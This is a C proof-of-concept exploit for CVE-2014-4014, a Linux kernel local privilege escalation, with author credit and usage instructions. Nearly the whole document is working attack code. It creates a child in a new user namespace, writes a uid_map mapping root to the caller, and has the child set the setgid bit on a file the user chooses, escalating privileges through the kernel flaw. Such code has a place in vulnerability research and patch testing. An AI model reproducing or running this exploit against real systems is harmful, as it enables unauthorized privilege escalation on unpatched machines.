cve-2014-4014 Linux Kernel Local Privilege escalation PoC

/**   * CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC   *   * Vitaly Nikolenko   * http://hashcrack.org   *   * Usage: ./poc [file_path]   *   * where file_path is the file on which you want to set the sgid bit   */ #define _GNU_SOURCE #include <sys/wait.h> #include <sched.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <limits.h> #include <string.h> #include <assert.h> #define STACK_SIZE (1024 * 1024) static char child_stack[STACK_SIZE]; struct args {      int pipe_fd[2];      char *file_path; }; static int child( void *arg) {      struct args *f_args = ( struct args *)arg;      char c;      // close stdout      close(f_args->pipe_fd[1]);      assert (read(f_args->pipe_fd[0], &c, 1) == 0);      // set the setgid bit      chmod(f_args->file_path, S_ISGID|S_IRUSR|S_IWUSR|S_IRGRP|S_IXGRP|S_IXUSR);      return 0; } int main( int argc, char *argv[]) {      int fd;      pid_t pid;      char mapping[1024];      char map_file[PATH_MAX];      struct args f_args;      assert (argc == 2);      f_args.file_path = argv[1];      // create a pipe for synching the child and parent      assert (pipe(f_args.pipe_fd) != -1);      pid = clone(child, child_stack + STACK_SIZE, CLONE_NEWUSER | SIGCHLD, &f_args);      assert (pid != -1);      // get the current uid outside the namespace      snprintf(mapping, 1024, "0 %d 1\n" , getuid());      // update uid and gid maps in the child      snprintf(map_file, PATH_MAX, "/proc/%ld/uid_map" , ( long ) pid);      fd = open(map_file, O_RDWR); assert (fd != -1);      assert (write(fd, mapping, strlen (mapping)) == strlen (mapping));      close(f_args.pipe_fd[1]);      assert (waitpid(pid, NULL, 0) != -1); }